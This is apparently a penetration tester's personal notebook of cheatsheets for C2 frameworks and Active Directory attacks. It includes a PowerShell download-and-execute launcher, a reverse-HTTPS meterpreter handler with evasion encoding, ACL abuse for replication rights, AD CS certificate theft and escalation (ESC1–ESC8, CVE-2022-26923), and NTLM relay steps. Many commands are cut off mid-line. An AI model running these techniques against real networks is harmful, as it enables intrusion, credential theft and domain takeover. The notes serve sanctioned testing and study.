Pentester Promiscuous Notebook
Pentester Promiscuous Notebook
README
Hey there!
I'm snovvcrash and that's a gitbook for keeping my pentest notes on hand. It's far from being perfect in terms
of organization (that's why I call it "promiscuous") and, basically, I'm logging it for myself, but it turned out that
hosting it online makes it most convenient to access. So, if you find it handy too, feel free to use it...
responsibly, of course!
While taking these notes, one main rule is that all the given techniques are actually tested either during a
real engagement or in a training lab.
DISCLAIMER. All information contained in this blog is provided for educational and research
purposes only. The author is not responsible for any illegal use of any information published on
the pages of this blog.
About
snovvcrash@gh-pages:~$ _
snovvcrash@gh-pages:~$ _
snovvcrash - Overview
GitHub
⚒️Pentest
C2
https://xakep.ru/2019/10/18/post-exploitation-frameworks/
https://www.thec2matrix.com/matrix
https://docs.google.com/spreadsheets/d/1-A0WOlGh1GnhbfLP53M6vjYl1LCPyrqp/edit?usp=s…
docs.google.com
Covenant
https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/
Install
https://github.com/cobbr/Covenant
Cheatsheet
Make a sacrificial token to be used with Over-PtH attacks:
Empire
https://xakep.ru/2020/06/03/powershell-empire/
Install
https://github.com/BC-SECURITY/Empire
Run
Cheatsheet
Basic PowerShell launcher string:
PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object Net.WebClient).Downl
Prepare a listener:
Generate a C# stager:
(Empire:
(Empire: listeners) > useplugin csharpserver
useplugin/csharpserver) > set status start
(Empire: useplugin/csharpserver) > execute
(Empire: useplugin/csharpserver) > usestager windows/csharp_exe
(Empire: usestager/windows/csharp_exe) > set Listener http1
(Empire: usestager/windows/csharp_exe) > set OutFile csharp.exe
(Empire: usestager/windows/csharp_exe) > generate
Plugins
https://github.com/BC-SECURITY/SocksProxyServer-Plugin
https://github.com/BC-SECURITY/ChiselServer-Plugin
Customizing Agents
https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/
Metasploit
https://buffered.io/posts/staged-vs-stageless-handlers/
https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/
https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation
https://xakep.ru/2020/07/03/metasploit-guide/
https://diablohorn.com/2013/02/21/we-bypassed-antivirus-how-about-idsips/
Cheatsheet
Quick handler launch:
$ openssl req -batch -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout cert.key -out cert.c
$ cat cert.key cert.crt > cert.pem
$ msfvenom -p ... HandlerSSLCert=./cert.pem StagerVerifySSLCert=true ...
msf exploit(multi/handler) > set HandlerSSLCert /home/snovvcrash/cert.pem
msf exploit(multi/handler) > set StagerVerifySSLCert true
auto.rc
// sudo msfconsole -qr auto.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_winhttps
set LHOST 10.10.13.37
set LPORT 443
set EXITFUNC thread
set StageEncoder x64/zutto_dekiru
set EnableStageEncoding true
set HandlerSSLCert /home/snovvcrash/cert.pem
set StagerVerifySSLCert true
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -jz
meterpreter
Reverse local port 3389 (on Victim, 192.168.1.11 ) to local port 43389 (on Attacker):
Routing:
Inject shellcode:
Debug
https://github.com/deivid-rodriguez/pry-byebug
HackTheBox - DropZone
YouTube
$ gem install pry-byebug
$ vi ~/.pry-byebug
pry-byebug
if defined?(PryByebug)
Pry.commands.alias_command 'c', 'continue'
Pry.commands.alias_command 's', 'step'
Pry.commands.alias_command 'n', 'next'
Pry.commands.alias_command 'f', 'finish'
end
$ cp -r /usr/share/metasploit-framework/ /opt
$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
$ mkdir -p ~/.msf4/modules/exploits/linux/http/
$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/packageup.rb ~/.msf4/modules/
$ vi ~/.msf4/modules/exploits/linux/http/p.rb
...add "binding.pry"...
PoshC2
https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/
Install
https://github.com/nettitude/PoshC2
Run
List projects:
$ posh-project -l
$ posh-project -c
$ posh-project -n <PROJECT_NAME>
Adjust config:
$ posh-config
$ posh-server
$ posh -u snovvcrash
Cheatsheet
Load .NET assembly and run it (available for agents that load CLR):
Sliver
https://github.com/BishopFox/sliver
Install
https://github.com/BishopFox/sliver/releases/latest
For a client get a sliver-client binary from releases or disable the service if installed as a daemon:
https://github.com/BishopFox/sliver/wiki/Configuration-Files
$ sudo vi /root/.sliver/configs/server.json
$ sudo systemctl restart sliver.service
Cheatsheet
A redirector-aware pair of payload and listener (when redirecting to PRIVATE_IP:8443 ):
sliver > generate --os windows --arch amd64 --format shellcode [--evasion] --http example.com
sliver > https --domain example.com --lhost <PRIVATE_IP> --lport 8443
Infrastructure
hostname
ifconfig eth0
route -n
cat /etc/resolv.conf
arp -a
AD
https://habr.com/ru/company/pt/blog/423903/
https://habr.com/ru/company/jetinfosystems/blog/449278/
https://habr.com/ru/company/bastion/blog/598769/
https://xakep.ru/2019/10/16/windows-ad-hack/
https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/
https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/
https://kalitut.com/hacking-windows-active-directory-full/
https://rmusser.net/docs/Active_Directory.html
https://zer1t0.gitlab.io/posts/attacking_ad/
https://rootdse.org/posts/active-directory-basics-1/
https://rootdse.org/posts/active-directory-basics-2/
Pentesting AD Mindmap
AD Labs
https://github.com/chvancooten/CloudLabsAD
https://github.com/WazeHell/vulnerable-AD
Capsulecorp
https://livebook.manning.com/book/penetrating-enterprise-networks/
https://github.com/R3dy/capsulecorp-pentest
https://mayfly277.github.io/posts/GOADv2-pwning_part1/
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://mayfly277.github.io/posts/GOADv2-pwning-part4/
https://mayfly277.github.io/posts/GOADv2-pwning-part5/
https://github.com/Orange-Cyberdefense/GOAD
Microsoft Wont-Fix-List
https://github.com/cfalta/MicrosoftWontFixList/blob/main/README.md
Tools
BloodHound
https://github.com/BloodHoundAD/BloodHound
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-2/
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/
Setup
EOT
rm /tmp/customqueries*.json
curl -sSL "https://github.com/ShutdownRepo/Exegol-images/raw/main/sources/bloodhound/config.js
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/con
Collectors
SharpHound.exe
https://github.com/BloodHoundAD/SharpHound3
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html
SharpHound.ps1
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
BloodHound.py
https://github.com/fox-it/BloodHound.py
$ cd ~/ws/enum/bloodhound/bloodhound.py/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns 1
$ proxychains4 -q bloodhound-python -c All,LoggedOn --zip -u snovvcrash --hashes aad3b435b5140
ADExplorerSnapshot.py
https://github.com/c3c/ADExplorerSnapshot.py
https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer
Cypher (Neo4j)
https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-
BloodHound-Cypher-Queries.md
https://github.com/ShutdownRepo/Exegol/blob/master/sources/bloodhound/customqueries.json
https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json
https://github.com/ZephrFish/Bloodhound-CustomQueries/blob/main/customqueries.json
https://github.com/ly4k/Certipy/blob/main/customqueries.json
# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
https://blog.bitsadmin.com/blog/dealing-with-large-bloodhound-datasets
https://github.com/bitsadmin/chophound
https://github.com/knavesec/Max
Manually Parse Bloodhound Data with JQ to Create Lists of Potentially Vulnerable Us…
Us…
There're 2 global dicts in JSON files: data and meta . We care about data :
List user accounts whose passwords were set after their last logon (an effective list for password spraying
assuming that the passwords were set by IT Desk and may be guessable):
$ ls
20220604043009_computers.json 20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN [email protected]'
Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select
memberof , script):
$ ls
20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_user_memberof.py '[email protected]'
Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView
Get-DomainTrustMapping , script):
$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.py
PowerView / SharpView
https://www.harmj0y.net/blog/powershell/make-powerview-great-again/
https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
PowerView2.ps1
PowerView3.ps1
PowerView4.ps1 (ZeroDayLab)
SharpView.exe
Example Queries
Users
List domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):
List domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):
Search for domain user accounts which may have sensitive stored in the description field:
Groups
Enumerate domain computers where specific users (Identity) are members of a specific local group
(LocalGroup):
Computers
Shares
GPOs
List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:
Impacket
https://github.com/SecureAuthCorp/impacket
https://github.com/ropnop/impacket_static_binaries
https://github.com/maaaaz/impacket-examples-windows
Install:
Mitigations
Common vulnerabilities & misconfigurations and recommendations:
https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/#2-admincount-attribute-set-on-
common-users
https://threadreaderapp.com/thread/1369309701050142720.html
https://s3cur3th1ssh1t.github.io/The-most-common-on-premise-vulnerabilities-and-misconfigurations/
https://github.com/evilmog/ntlmv1-multi/blob/master/resources/checklist.txt
https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f
https://medium.com/palantir/restricting-smb-based-lateral-movement-in-a-windows-environment-
ed033b888721
Administrative Tier Model & Microsoft RaMP (Zero Trust Rapid Modernization Plan):
https://security-tzu.com/2020/03/23/mitigate-credential-theft-with-administrative-tier-model/
https://www.secframe.com/ramp/
https://posts.specterops.io/establish-security-boundaries-in-your-on-prem-ad-and-azure-environment-
dcb44498cfc2
https://www.hub.trimarcsecurity.com/post/securing-active-directory-performing-an-active-directory-
security-review
https://www.pwndefend.com/2021/09/15/post-compromise-active-directory-checklist/
https://github.com/0x6d69636b/windows_hardening
ACL Abuse
Access Control Lists
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-
directory-acls-aces
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-
entries#exploitation-paths
https://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-
attacks/
BloodHound
SDDL
https://habr.com/ru/company/pm/blog/442662/
0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html
0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html
https://itconnect.uw.edu/wares/msinf/other-help/understanding-sddl-syntax/
Let's say that the ACE on object A applies to object B. This grants or denies object B access to object A
with the specified access rights.
(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)
AceType:
A = ACCESS_ALLOWED_ACE_TYPE
Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL
Ace Sid:
S-1-1-0
ActiveDirectory
PowerView2
Check if the attacker "MEGACORP\sbauer" has GenericWrite permissions on the "jorden" user object:
InheritedObjectType : All
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL <== Vict
ObjectType : All
IdentityReference : MEGACORP\sbauer <== Attacker (sbauer)
IsInherited : False
ActiveDirectoryRights : GenericWrite
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : ContainerInherit
InheritanceType : All
AccessControlType : Allow
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110
PowerView3
AceType : AccessAllowed
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110 <== Victim (jorden)
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-3102 <== Attacker (sbauer)
AccessMask : 131112
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
PowerView 3.0 does not return IdentityReference property, which makes it less handy for this task
(however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can
use the following loop:
Abuse GenericAll
Find domain users that current user has GenericAll access right to:
Find domain groups that current user has GenericAll access right to:
Abuse WriteDACL
Find domain groups that current user has WriteDACL access right to:
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Iden
The attacker can take the full control of discovered groups and then add a users to them:
PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tric
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose
Group membership will take its sweet time to be updated within target user's TGT. To force the
update one may purge existing tickets and request new TGT:
Using aclpwn.py:
https://github.com/fox-it/aclpwn.py
https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound
https://www.puckiestyle.nl/aclpwn-py/
$ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp n
Using PowerView2:
Using PowerView3:
https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md
3. Create a new ACL and within it set "Replicating Directory Changes" (GUID 1131f6ad-9c07-11d1-
f79f-00c04fc2dcd2 ) and "Replicating Directory Changes All" (GUID 1131f6aa-9c07-11d1-
f79f-00c04fc2dcd2 ) rights for the SID from (2).
4. Apply changes.
https://gist.github.com/jfmaes/404b45d542fc07db51e6e07d8ebb79b9
https://stealthbits.com/blog/exploiting-weak-active-directory-permissions-with-powersploit/
Returns all security groups in the current (or target) domain that have a manager set:
Enumerate the ACLs set on this group. GenericWrite privilege means that the user can modify group
membership:
Tools
Aced
https://github.com/garrettfoster13/aced
AD CS Abuse
Active Directory Certificate Services
[PDF] Certified Pre-Owned. Abusing Active Directory Certificate Services (Will Schroeder, Lee
Christensen)
https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://elkement.wordpress.com/2019/06/01/sizzle-hackthebox-unintended-getting-a-logon-smartcard-
for-the-domain-admin-2/
https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks
https://www.fortalicesolutions.com/posts/pkinit-ftw-chaining-shadow-credentials-and-adcs-template-
abuse
https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-
and-more-34d1c26f0dc6
This page is a selective copy-paste of the Certified Pre-Owned PDF (mainly offensive
techniques) without testing "in the wild"! When any of the discussed techniques is actually
performed by me during an engagement, corresponding notes are get reviewed, supplemented
with examples from my personal experience and put into a separate section, e.g. ESC1, ESC8,
etc.
Glossary
Enumerate
Enumerate AD Enterprise CAs and their settings with PowerShell:
With PowerShell:
With CertStealer:
If the private key is non-exportable, use Mimikatz's crypto::capi (to patch CAPI in current process) or
crypto::cng (to patch lsass.exe memory):
Decrypt a domain user's masterkey with domain's backup key with Mimikatz:
Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey
mappings (will output a .pem file):
It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use
the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:
# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine
After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use
that .pfx for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files (THEFT4)
Find certificate templates available for enrollment for the current user:
Search for any template that allows domain authentication (a stock published template that allows client
authentication is the User template).
This will output a certificate and private key in .pem . To convert it to .pfx compatible with Rubeus do:
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex
After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the
certificate is valid (default certificate lifetime is one year):
This approach will work even if the user changes their password. Combined with the THEFT5 technique, an
adversary can also persistently obtain the account's NTLM hash.
Same as for PERSIST1 but requesting a certificate for enrolling current machine context:
# While elevated
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Machine /machine
With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to
any service on the host (see RBCD Abuse) or generate a silver ticket.
Certificate Renewal
Certificate template validity period - determines how long an issued certificate can be used.
Certificate template renewal period - determines a window of time before the certificate expires where
an account can renew it from the issuing certificate authority.
An adversary can renew the compromised certificate before the validity period expires, and so that extend
their access to AD without requesting additional ticket enrollments.
Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as
allows Any Purpose EKU ( 2.5.29.37.0 ).
Conditions:
2. Request a certificate on behalf of another user based on a template that allows domain authentication:
EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can
have user defined values in the subject alternative name.
This means that an adversary can enroll in any template configured for domain authentication that also
allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows to
authenticate as a domain admin or any other active user/machine.
To abuse request a certificate specifying an /altname with any template that allows for domain auth (e.g.,
the default User template which normally doesn't allow to specify alternative names):
This setting can be set with domain admin's privileges like this (dangerous, do not do this!):
ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate
Manager" ("CA Officer") respectively.
The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):
# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA0
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_Microsof
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used
by an adversary to subvert the "CA certificate manager approval" protection:
Audit
https://github.com/GhostPack/PSPKIAudit
https://github.com/TrimarcJake/adcs-snippets
Misc
Parse .pfx with PowerShell:
Tools
Certify
https://github.com/GhostPack/Certify
https://github.com/blackarrowsec/Certify
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Certify.ps1
Certipy
https://github.com/ly4k/Certipy
Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text,
JSON and BloodHound formats):
certi
https://github.com/zer1t0/certi
Get TGT:
PassTheCert
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://github.com/AlmondOffSec/PassTheCert
https://twitter.com/_nwodtuhs/status/1451510341041594377
dNSHostName Spoofing
CVE-2022-26923
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-
9e098fe298f4
https://www.semperis.com/blog/ad-vulnerability-cve-2022-26923/
https://gist.github.com/Wh04m1001/355c0f697bfaaf6546e3b698295d1aa1
https://gist.github.com/dmchell/478d83f369260bd4e4cd380712f6bb6e
https://github.com/aniqfakhrul/certifried.py
Check
If there's an object SID printed when requesting a certificate based on the User or Machine templates, the
AD environment is not vulnerable:
Exploit
Create a new machine account with dNSHostName containing FQDN of a DC:
Abuse PKINIT
Authenticate with the obtained certificate and get DC's NT hash via PKINIT:
Abuse RBCD
https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html
Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the
fake machine account:
https://blog.qdsecurity.se/2022/05/27/manually-injecting-a-sid-in-a-certificate/
https://elkement.blog/2022/06/13/defused-that-san-flag/
ESC1
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs
https://elkement.wordpress.com/2020/06/21/impersonating-a-windows-enterprise-admin-with-a-
certificate-kerberos-pkinit-from-linux/
The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart
Card Logon ( 1.3.6.1.4.1.311.20.2.2 ) or Client Authentication ( 1.3.6.1.5.5.7.3.2 ) or PKINIT
Client Authentication ( 1.3.6.1.5.2.3.4 ) EKUs.
Enumerate
Find template with this misconfiguration with native Active Directory module:
Exploit
Certify
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex
Certipy
certi
https://gist.github.com/Flangvik/15c3007dcd57b742d4ee99502440b250
ESC4
Vulnerable Certificate Template ACEs
https://github.com/cfalta/PoshADCS
Right Description
https://github.com/fortalice/modifyCertTemplate
ESC8
NTLM Relay to AD CS HTTP Endpoints
https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-
directory/
https://habr.com/ru/company/deiteriylab/blog/581758/
Enumerate
Discover CES endpoints with certutil:
Exploit
ntlmrelayx
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
https://github.com/SecureAuthCorp/impacket/pull/1101
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
PKINITtools
https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
https://github.com/dirkjanm/PKINITtools
https://gist.github.com/snovvcrash/8b6a1a10e1f47439d16072c60cc2e099
Backup original httpattack.py and copy one from the toolkit with a modified domain name and a
template if needed ( DomainController is by default, but also one may use
KerberosAuthentication ):
$ sudo cp /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py /u
$ subl ntlmrelayx/httpattack.py
$ sudo cp ntlmrelayx/httpattack.py /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx
Perform the relay attack, request the TGT via PKINIT and get the NT hash based on U2U Kerberos
extension:
$ sudo mv /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/httpattack.py.ba
Certipy
ADCSPwn
https://github.com/bats3c/ADCSPwn
ADIDNS Abuse
Active Directory integrated DNS
https://blog.netspi.com/exploiting-adidns/
https://blog.netspi.com/adidns-revisited/
https://www.gosecure.net/blog/2019/02/20/abusing-unsafe-defaults-in-active-directory/
0. Load tools:
2. Create, configure the new DNS name that could be likely exploited for spoofing with Attacker's IP and
enable it. I chose pc01 which was found in DNS cache:
3. Check the newly created DNS object and try to resolve it. AD will need some time (~180 seconds) to sync
LDAP changes via its DNS dynamic updates protocol:
4. Cleanup:
adidnsdump
https://github.com/dirkjanm/adidnsdump
If you need to dump a child domain ADIDNS (say child.megacorp.local ), then you may want to use
--zone and --forest options:
Merge all the IPs into /24 CIDRs with a Python script:
cidr_merge.py
#!/usr/bin/env python3
"""
Merge standalone IPs into CIDRs.
Example:
$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' > ip.lst
